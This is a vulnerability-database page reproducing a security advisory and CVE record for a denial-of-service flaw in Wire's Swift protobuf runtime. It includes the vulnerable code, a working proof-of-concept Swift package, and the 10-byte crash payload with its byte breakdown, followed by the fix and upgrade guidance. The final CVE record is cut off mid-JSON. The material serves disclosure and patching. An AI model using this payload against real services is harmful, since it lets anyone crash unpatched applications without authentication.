Vulnerability-Lookup

GHSA-86WM-R4C5-2RC9

Vulnerability from github – Published: 2026-09-23 18:45 – Updated: 2026-09-23 18:45

Summary

Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service

Details

Summary

Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by wire-runtime-swift) did not reject a negative LENGTH_DELIMITED field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause ProtoReader.skipGroup() to read a length-delimited field whose varint decodes to a negative Int32. That negative value was then passed to ReadBuffer.readData(count:).

ReadBuffer checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's Data(bytes:count:), which traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's documented ProtoDecoder.Error.

This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup() issue fixed in com.squareup.wire:wire-runtime 6.3.0 (CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a length < 0 rejection to the Kotlin readers. The functionally similar Swift ProtoReader.skipGroup() path was not covered by that fix and remained vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7 alpha releases through 7.0.0-alpha03.

The issue is fixed for the supported 6.x release line in Wire 6.4.1.

skipGroup() runs for any unknown field with wire type 3 (START_GROUP), so no schema knowledge is required. A service decoding any message type with ProtoDecoder.decode(_:from:) over untrusted bytes can be reached by sending an unknown group field.

Impact

Denial of service.

A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect ProtoDecoder.decode(_:from:) to throw catchable decoding errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from Foundation's Data(bytes:count:).

Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes.

The vulnerability requires:

The application decodes untrusted protobuf bytes with Wire's Swift runtime.
The attacker can provide a protobuf payload containing an unknown START_GROUP field.
That group contains a LENGTH_DELIMITED field whose encoded length decodes to a negative signed 32-bit value.

The attacker does not need:

Authentication.
User interaction.
Knowledge of the target message schema.
A valid known field number in the target schema.

Affected Products

Swift Package Manager / CocoaPods `Wire`

Affected versions:

All released Swift runtime versions through 6.4.0.
Wire 7 alpha releases through 7.0.0-alpha03.

Patched versions:

6.4.1 for the supported 6.x release line.
7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing PR #3616).

Recommended action:

Upgrade to Wire 6.4.1 or later on the supported stable line.
If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x release containing PR #3616.

Vulnerable Code

The vulnerable code was in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift, skipGroup(expectedEndTag:unknownFieldsWriter:):

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128
    state = .lengthDelimited(length: Int(length))
    let data = try readData()                                       // no length >= 0 check
    try unknownFieldsWriter.encode(tag: tag, value: data)

ProtoReader.readData() then forwarded the stored negative length to the buffer:

func readData() throws -> Data {
    guard case let .lengthDelimited(length) = state else {
        fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
    }
    state = .tag
    return try buffer.readData(count: length)   // count = -128
}

The bounds check in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only the upper bound. A negative count could pass this guard and then be handed to Foundation:

func verifyAdditional(count: Int) throws {
    guard pointer.advanced(by: count) <= end else {   // pointer + (-128) <= end is true
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
}

func readData(count: Int) throws -> Data {
    try verifyAdditional(count: count)                 // negative count passes the guard
    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps
    pointer = pointer.advanced(by: count)
    return data
}

The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into ReadBuffer.readData(count:).

How Input Reaches the Sink

The reachable decoding path is:

ProtoDecoder.decode(_:from:)
  -> message init(from: ProtoReader)
  -> ProtoReader.nextTag(token:)
  -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
  -> ProtoReader.readData()
  -> ReadBuffer.readData(count:)
  -> Data(bytes:count:)

When ProtoReader.nextTag(token:) sees an unknown field with wire type START_GROUP, it calls the private skipGroup(...) helper. Inside that skipped group, an inner LENGTH_DELIMITED field with a negative varint length reaches readData(), then ReadBuffer.readData(count:), then Data(bytes:count:).

The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic.

Proof Of Concept

The following proof of concept demonstrates the vulnerable behavior. It uses an empty ProtoDecodable message that treats every field as unknown, so an unknown START_GROUP field drives ProtoReader.nextTag(token:) into the private skipGroup() implementation.

Package.swift:

// swift-tools-version:5.9
import PackageDescription

let package = Package(
    name: "poc",
    platforms: [.macOS(.v12)],
    dependencies: [
        .package(url: "https://github.com/square/wire.git", exact: "6.4.0")
    ],
    targets: [
        .executableTarget(
            name: "poc",
            dependencies: [.product(name: "Wire", package: "wire")],
            path: "Sources/poc"
        )
    ]
)

Sources/poc/main.swift:

import Foundation
import Wire

func log(_ s: String) {
    FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}

// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
    static var protoSyntax: ProtoSyntax? { .proto2 }
    init() {}
    init(from reader: ProtoReader) throws {
        let token = try reader.beginMessage()
        while let _ = try reader.nextTag(token: token) {}
        let _: UnknownFields = try reader.endMessage(token: token)
    }
}

// hex 9b06 0a 80ffffff0f 9c06
//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)
//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128
//   0x9C 0x06                 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])

// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])

let decoder = ProtoDecoder()

log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)
    log("negative-control: decoded OK, no crash (expected)")
} catch {
    log("negative-control: threw \(type(of: error)): \(error)")
}

log("=== ATTACK (negative length -128 inside skipped group) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)
    log("attack: decoded OK (not vulnerable / patched)")
} catch let e as ProtoDecoder.Error {
    log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)")
} catch {
    log("attack: threw unexpected \(type(of: error)): \(error)")
}
log("=== reached end of main (no crash) ===")

Build and run:

swift build
SWIFT_BACKTRACE=enable=yes ./.build/debug/poc

Expected behavior on vulnerable versions through 6.4.0:

=== NEGATIVE CONTROL (valid length 0) ===
negative-control: decoded OK, no crash (expected)
=== ATTACK (negative length -128 inside skipped group) ===

*** Signal 5: Backtracing from 0x191b9d68c... done ***

*** Program crashed: System trap at 0x0000000191b9d68c ***

Thread 0 crashed:

  0               specialized Data.InlineData.init(_:) in Foundation
  1 [ra]          specialized Data.init(bytes:count:) in Foundation
  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift
  3 [ra]          ProtoReader.readData() at ProtoReader.swift
  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift
  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift
  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift
  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift
  8 [ra]          ProtoReader.decode<A>(_:) at ProtoReader.swift
  9 [ra]          ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift
 10 [ra]          main at main.swift

The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself.

The attack payload crashes with SIGTRAP inside Data.init(bytes:count:), reached from the unguarded skipGroup() -> readData() -> ReadBuffer.readData(count:) path. This runtime trap escapes Wire's documented ProtoDecoder.Error boundary.

Payload:

9b060a80ffffff0f9c06

Payload breakdown:

0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32
0x9C 0x06                 field 99, END_GROUP

Fix

The fix rejects negative lengths before setting the length-delimited reader state and before calling readData().

Fixed logic in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift:

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint())
    guard length >= 0 else {
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
    state = .lengthDelimited(length: Int(length))
    let data = try readData()
    try unknownFieldsWriter.encode(tag: tag, value: data)

The fix also adds defense in depth in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift by rejecting negative read counts before pointer arithmetic and before constructing Data(bytes:count:).

The fix was merged in PR #3616:

https://github.com/square/wire/pull/3616

Fix commit:

https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e

Patched Behavior

With the fix, the same payload is rejected with a catchable ProtoDecoder.Error instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around ProtoDecoder.decode(_:from:).

Workarounds

There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder.

Recommended Upgrade

Upgrade to Wire 6.4.1 or later.

Swift Package Manager users should update their dependency to a patched tag:

.package(url: "https://github.com/square/wire.git", from: "6.4.1")

CocoaPods users should update the Wire pod to 6.4.1 or later.

Wire 7 alpha users should upgrade to 7.0.0-alpha04 or a later 7.x release that contains PR #3616.

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

This advisory covers the Swift runtime sibling of GHSA-7xpr-hc2w-34m9 / CVE-2026-45799.

GHSA-7xpr-hc2w-34m9 fixed the Kotlin/JVM readers in Wire 6.3.0, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR.

Credits

Reported by tonghuaroot.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.0"
      },
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/square/wire"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T18:45:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWire\u0027s Swift runtime (`Wire` SPM/CocoaPods product, implemented by\n`wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length\nwhile skipping an unknown protobuf group. A crafted 10-byte protobuf payload\ncould cause `ProtoReader.skipGroup()` to read a length-delimited field whose\nvarint decodes to a negative `Int32`. That negative value was then passed to\n`ReadBuffer.readData(count:)`.\n\n`ReadBuffer` checked only that the requested read did not go past the end of\nthe buffer. It did not reject negative counts. As a result, a negative count\ncould pass the bounds check and reach Foundation\u0027s `Data(bytes:count:)`, which\ntraps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire\u0027s\ndocumented `ProtoDecoder.Error`.\n\nThis is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()`\nissue fixed in `com.squareup.wire:wire-runtime` 6.3.0\n(`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a\n`length \u003c 0` rejection to the Kotlin readers. The functionally similar Swift\n`ProtoReader.skipGroup()` path was not covered by that fix and remained\nvulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7\nalpha releases through `7.0.0-alpha03`.\n\nThe issue is fixed for the supported 6.x release line in Wire `6.4.1`.\n\n`skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so\nno schema knowledge is required. A service decoding any message type with\n`ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an\nunknown group field.\n\n### Impact\n\nDenial of service.\n\nA single 10-byte attacker-controlled protobuf payload can abort the process\nwith an unrecoverable runtime trap. Callers following Wire\u0027s documented Swift\nAPI generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding\nerrors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from\nFoundation\u0027s `Data(bytes:count:)`.\n\nAny Swift process that decodes untrusted protobuf data with Wire\u0027s Swift\nruntime may be affected. Examples include iOS, macOS, or server-side Swift\napplications that accept protobuf request bodies, websocket frames, stored\nmessages, queue payloads, files, or any other attacker-controlled serialized\nprotobuf bytes.\n\nThe vulnerability requires:\n\n- The application decodes untrusted protobuf bytes with Wire\u0027s Swift runtime.\n- The attacker can provide a protobuf payload containing an unknown\n  `START_GROUP` field.\n- That group contains a `LENGTH_DELIMITED` field whose encoded length decodes\n  to a negative signed 32-bit value.\n\nThe attacker does not need:\n\n- Authentication.\n- User interaction.\n- Knowledge of the target message schema.\n- A valid known field number in the target schema.\n\n### Affected Products\n\n#### Swift Package Manager / CocoaPods `Wire`\n\nAffected versions:\n\n- All released Swift runtime versions through `6.4.0`.\n- Wire 7 alpha releases through `7.0.0-alpha03`.\n\nPatched versions:\n\n- `6.4.1` for the supported 6.x release line.\n- `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing\n  PR #3616).\n\nRecommended action:\n\n- Upgrade to Wire `6.4.1` or later on the supported stable line.\n- If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x\n  release containing PR #3616.\n\n### Vulnerable Code\n\nThe vulnerable code was in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`,\n`skipGroup(expectedEndTag:unknownFieldsWriter:)`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()                                       // no length \u003e= 0 check\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\n`ProtoReader.readData()` then forwarded the stored negative length to the\nbuffer:\n\n```swift\nfunc readData() throws -\u003e Data {\n    guard case let .lengthDelimited(length) = state else {\n        fatalError(\"Decoding field as length delimited when key was not LENGTH_DELIMITED\")\n    }\n    state = .tag\n    return try buffer.readData(count: length)   // count = -128\n}\n```\n\nThe bounds check in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only\nthe upper bound. A negative count could pass this guard and then be handed to\nFoundation:\n\n```swift\nfunc verifyAdditional(count: Int) throws {\n    guard pointer.advanced(by: count) \u003c= end else {   // pointer + (-128) \u003c= end is true\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n}\n\nfunc readData(count: Int) throws -\u003e Data {\n    try verifyAdditional(count: count)                 // negative count passes the guard\n    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps\n    pointer = pointer.advanced(by: count)\n    return data\n}\n```\n\nThe normal typed length-delimited decode path is comparatively shielded by\nother state transitions. The schema-agnostic unknown-group skip path was the\nimportant path because it threaded an unvalidated signed length into\n`ReadBuffer.readData(count:)`.\n\n### How Input Reaches the Sink\n\nThe reachable decoding path is:\n\n```text\nProtoDecoder.decode(_:from:)\n  -\u003e message init(from: ProtoReader)\n  -\u003e ProtoReader.nextTag(token:)\n  -\u003e ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)\n  -\u003e ProtoReader.readData()\n  -\u003e ReadBuffer.readData(count:)\n  -\u003e Data(bytes:count:)\n```\n\nWhen `ProtoReader.nextTag(token:)` sees an unknown field with wire type\n`START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that\nskipped group, an inner `LENGTH_DELIMITED` field with a negative varint length\nreaches `readData()`, then `ReadBuffer.readData(count:)`, then\n`Data(bytes:count:)`.\n\nThe outer field number is arbitrary. The proof of concept uses field 99, but\nthe field does not need to exist in the target schema because unknown-field\nskipping is schema-agnostic.\n\n### Proof Of Concept\n\nThe following proof of concept demonstrates the vulnerable behavior. It uses an\nempty `ProtoDecodable` message that treats every field as unknown, so an\nunknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the\nprivate `skipGroup()` implementation.\n\n`Package.swift`:\n\n```swift\n// swift-tools-version:5.9\nimport PackageDescription\n\nlet package = Package(\n    name: \"poc\",\n    platforms: [.macOS(.v12)],\n    dependencies: [\n        .package(url: \"https://github.com/square/wire.git\", exact: \"6.4.0\")\n    ],\n    targets: [\n        .executableTarget(\n            name: \"poc\",\n            dependencies: [.product(name: \"Wire\", package: \"wire\")],\n            path: \"Sources/poc\"\n        )\n    ]\n)\n```\n\n`Sources/poc/main.swift`:\n\n```swift\nimport Foundation\nimport Wire\n\nfunc log(_ s: String) {\n    FileHandle.standardError.write((s + \"\\n\").data(using: .utf8)!)\n}\n\n// A ProtoDecodable message that treats every field as unknown. An unknown\n// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().\nstruct EmptyMessage: ProtoDecodable {\n    static var protoSyntax: ProtoSyntax? { .proto2 }\n    init() {}\n    init(from reader: ProtoReader) throws {\n        let token = try reader.beginMessage()\n        while let _ = try reader.nextTag(token: token) {}\n        let _: UnknownFields = try reader.endMessage(token: token)\n    }\n}\n\n// hex 9b06 0a 80ffffff0f 9c06\n//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128\n//   0x9C 0x06                 field 99, END_GROUP\nlet attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])\n\n// Negative control: same group, inner length-delimited field has valid length 0.\nlet benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])\n\nlet decoder = ProtoDecoder()\n\nlog(\"=== NEGATIVE CONTROL (valid length 0) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)\n    log(\"negative-control: decoded OK, no crash (expected)\")\n} catch {\n    log(\"negative-control: threw \\(type(of: error)): \\(error)\")\n}\n\nlog(\"=== ATTACK (negative length -128 inside skipped group) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)\n    log(\"attack: decoded OK (not vulnerable / patched)\")\n} catch let e as ProtoDecoder.Error {\n    log(\"attack: threw documented ProtoDecoder.Error: \\(e) (not vulnerable / patched)\")\n} catch {\n    log(\"attack: threw unexpected \\(type(of: error)): \\(error)\")\n}\nlog(\"=== reached end of main (no crash) ===\")\n```\n\nBuild and run:\n\n```bash\nswift build\nSWIFT_BACKTRACE=enable=yes ./.build/debug/poc\n```\n\nExpected behavior on vulnerable versions through `6.4.0`:\n\n```text\n=== NEGATIVE CONTROL (valid length 0) ===\nnegative-control: decoded OK, no crash (expected)\n=== ATTACK (negative length -128 inside skipped group) ===\n\n*** Signal 5: Backtracing from 0x191b9d68c... done ***\n\n*** Program crashed: System trap at 0x0000000191b9d68c ***\n\nThread 0 crashed:\n\n  0               specialized Data.InlineData.init(_:) in Foundation\n  1 [ra]          specialized Data.init(bytes:count:) in Foundation\n  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift\n  3 [ra]          ProtoReader.readData() at ProtoReader.swift\n  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift\n  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift\n  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift\n  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift\n  8 [ra]          ProtoReader.decode\u003cA\u003e(_:) at ProtoReader.swift\n  9 [ra]          ProtoDecoder.decode\u003cA\u003e(_:from:) at ProtoDecoder.swift\n 10 [ra]          main at main.swift\n```\n\nThe negative control, which uses the same skipped group structure but with a\nvalid length of 0, decodes successfully. That demonstrates the crash is caused\nby the negative length, not by group-skipping itself.\n\nThe attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`,\nreached from the unguarded `skipGroup()` -\u003e `readData()` -\u003e\n`ReadBuffer.readData(count:)` path. This runtime trap escapes Wire\u0027s documented\n`ProtoDecoder.Error` boundary.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32\n0x9C 0x06                 field 99, END_GROUP\n```\n\n### Fix\n\nThe fix rejects negative lengths before setting the length-delimited reader\nstate and before calling `readData()`.\n\nFixed logic in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint())\n    guard length \u003e= 0 else {\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\nThe fix also adds defense in depth in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting\nnegative read counts before pointer arithmetic and before constructing\n`Data(bytes:count:)`.\n\nThe fix was merged in PR #3616:\n\nhttps://github.com/square/wire/pull/3616\n\nFix commit:\n\nhttps://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e\n\n### Patched Behavior\n\nWith the fix, the same payload is rejected with a catchable\n`ProtoDecoder.Error` instead of aborting the process. Applications can handle\nthe malformed payload using normal Swift error handling around\n`ProtoDecoder.decode(_:from:)`.\n\n### Workarounds\n\nThere is no complete application-level workaround if untrusted protobuf bytes\nmust be decoded with a vulnerable Wire Swift runtime version. Services can\nreduce exposure by avoiding protobuf decoding on untrusted inputs, validating\nor filtering payloads before decoding, or rejecting protobuf group wire types\nat an outer protocol boundary where that is feasible. These mitigations are\nnot substitutes for upgrading because the vulnerable path is schema-agnostic\nunknown-field skipping inside the runtime decoder.\n\n### Recommended Upgrade\n\nUpgrade to Wire `6.4.1` or later.\n\nSwift Package Manager users should update their dependency to a patched tag:\n\n```swift\n.package(url: \"https://github.com/square/wire.git\", from: \"6.4.1\")\n```\n\nCocoaPods users should update the `Wire` pod to `6.4.1` or later.\n\nWire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release\nthat contains PR #3616.\n\n### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799\n\nThis advisory covers the Swift runtime sibling of\n`GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`.\n\n`GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the\nSwift runtime had a similar group-skipping path that still accepted negative\nlengths. This advisory is tracked separately because it affects the Swift\nruntime package and was fixed by a separate Swift runtime PR.\n\n### Credits\n\nReported by `tonghuaroot`.",
  "id": "GHSA-86wm-r4c5-2rc9",
  "modified": "2026-09-23T18:45:52Z",
  "published": "2026-09-23T18:45:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/pull/3616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/square/wire"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/releases/tag/6.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/releases/tag/7.0.0-alpha04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service"
}

CVE-2026-61695 (GCVE-0-2026-61695)

Vulnerability from cvelistv5 – Published: 2026-09-23 18:44 – Updated: 2026-09-23 18:44

Title

Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service

Summary

Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.1 and 7.0.0-alpha04, Wire's Swift runtime ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) accepts a negative length for a LENGTH_DELIMITED field inside an unknown START_GROUP field. ProtoReader.readData() forwards the negative count to ReadBuffer.readData(count:), whose upper-bound-only check permits the value to reach Foundation Data(bytes:count:) and trigger an unrecoverable process trap instead of a catchable ProtoDecoder.Error. Any Swift process decoding untrusted protobuf bytes can be crashed without authentication, user interaction, or knowledge of the target schema. This issue is fixed in versions 6.4.1 and 7.0.0-alpha04.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-129 - Improper Validation of Array Index

Assigner

GitHub_M mitre root

References

6 references

URL	Tags
https://github.com/square/wire/security/advisorie…	x_refsource_CONFIRM
https://github.com/square/wire/pull/3616	x_refsource_MISC
https://github.com/square/wire/commit/24043b6b3a5…	x_refsource_MISC
https://github.com/square/wire/commit/81ff7f24a67…	x_refsource_MISC
https://github.com/square/wire/releases/tag/6.4.1	x_refsource_MISC
https://github.com/square/wire/releases/tag/7.0.0…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
square	wire	Affected: < 6.4.1 Affected: >= 7.0.0-alpha01, < 7.0.0-alpha04

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "wire",
          "vendor": "square",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.4.1"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0-alpha01, \u003c 7.0.0-alpha04"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.1 and 7.0.0-alpha04, Wire\u0027s Swift runtime ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) accepts a negative length for a LENGTH_DELIMITED field inside an unknown START_GROUP field. ProtoReader.readData() forwards the negative count to ReadBuffer.readData(count:), whose upper-bound-only check permits the value to reach Foundation Data(bytes:count:) and trigger an unrecoverable process trap instead of a catchable ProtoDecoder.Error. Any Swift process decoding untrusted protobuf bytes can be crashed without authentication, user interaction, or knowledge of the target schema. This issue is fixed in versions 6.4.1 and 7.0.0-alpha04."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-129",
              "description": "CWE-129: Improper Validation of Array Index",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-23T18:44:11.336Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9"
        },
        {
          "name": "https://github.com/square/wire/pull/3616",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/square/wire/pull/3616"
        },
        {
          "name": "https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c"
        },
        {
          "name": "https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e"
        },
        {
          "name": "https://github.com/square/wire/releases/tag/6.4.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/square/wire/releases/tag/6.4.1"
        },
        {
          "name": "https://github.com/square/wire/releases/tag/7.0.0-alpha04",
          "tags": [
            "x_refsource_MISC"
          ],
